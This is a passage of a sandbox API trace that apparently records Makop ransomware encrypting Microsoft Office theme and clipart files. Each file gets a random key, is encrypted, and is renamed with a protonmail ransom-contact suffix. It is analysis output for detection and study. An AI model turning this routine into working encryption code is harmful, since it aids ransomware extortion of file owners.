[0156.607] GetProcessHeap () returned 0x48a0000 [0156.607] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.607] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.608] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.608] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.608] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.608] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.608] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.608] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.608] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.609] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.609] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.609] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbc4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xbc4, lpOverlapped=0x0) returned 1 [0156.609] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xbd0, dwBufLen=0xbd0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xbd0) returned 1 [0156.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.609] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xbd0, lpOverlapped=0x0) returned 1 [0156.609] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.609] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.610] SetEndOfFile (hFile=0x130) returned 1 [0156.617] GetProcessHeap () returned 0x48a0000 [0156.617] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.617] GetProcessHeap () returned 0x48a0000 [0156.617] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.617] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.619] CloseHandle (hObject=0x130) returned 1 [0156.651] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 0 [0156.651] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0156.652] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0156.652] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0156.653] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0156.653] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0156.653] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16cc0460, ftCreationTime.dwHighDateTime=0x1d5a3f2, ftLastAccessTime.dwLowDateTime=0xe0d7a4f0, ftLastAccessTime.dwHighDateTime=0x1d57885, ftLastWriteTime.dwLowDateTime=0xe0d7a4f0, ftLastWriteTime.dwHighDateTime=0x1d57885, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="dance.exe", cAlternateFileName="")) returned 1 [0156.653] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0156.653] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned 52 [0156.653] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*") returned 56 [0156.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0156.659] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0156.662] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 [0156.662] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx") returned 67 [0156.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.666] GetProcessHeap () returned 0x48a0000 [0156.666] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.666] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.666] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.666] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x6, lpOverlapped=0x0) returned 1 [0156.671] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.671] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.671] GetProcessHeap () returned 0x48a0000 [0156.671] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.672] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0156.672] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.672] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0156.672] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.672] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.672] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.672] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.673] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.673] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.673] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.673] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.673] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd0aa, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0xd0aa, lpOverlapped=0x0) returned 1 [0156.676] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0xd0b0, dwBufLen=0xd0b0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0xd0b0) returned 1 [0156.676] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.677] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd0b0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0xd0b0, lpOverlapped=0x0) returned 1 [0156.677] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.677] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.677] SetEndOfFile (hFile=0x124) returned 1 [0156.686] GetProcessHeap () returned 0x48a0000 [0156.686] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.686] GetProcessHeap () returned 0x48a0000 [0156.686] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.686] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0156.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.688] CloseHandle (hObject=0x124) returned 1 [0156.688] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1 [0156.688] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx") returned 64 [0156.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.691] GetProcessHeap () returned 0x48a0000 [0156.691] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.691] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.691] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.691] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.696] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.696] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.696] GetProcessHeap () returned 0x48a0000 [0156.696] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.696] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6579510*=0x40) returned 1 [0156.696] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.696] WriteFile (in: hFile=0x124, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0156.696] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.696] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.696] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.697] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.697] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.697] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.697] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.697] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.697] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11098, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x11098, lpOverlapped=0x0) returned 1 [0156.700] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x110a0, dwBufLen=0x110a0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x110a0) returned 1 [0156.701] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.701] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x110a0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x110a0, lpOverlapped=0x0) returned 1 [0156.702] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.702] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x11174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.702] SetEndOfFile (hFile=0x124) returned 1 [0156.713] GetProcessHeap () returned 0x48a0000 [0156.713] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.713] GetProcessHeap () returned 0x48a0000 [0156.713] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.713] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0156.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Angles.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\angles.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.716] CloseHandle (hObject=0x124) returned 1 [0156.716] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1 [0156.716] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx") returned 62 [0156.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Apex.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\apex.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.718] GetProcessHeap () returned 0x48a0000 [0156.719] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.719] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.719] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0156.719] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x9, lpOverlapped=0x0) returned 1 [0156.723] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0156.724] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.724] GetProcessHeap () returned 0x48a0000 [0156.724] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0156.724] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0156.724] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0156.724] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0156.724] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0156.724] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0156.725] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0156.725] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0156.725] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0156.725] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: 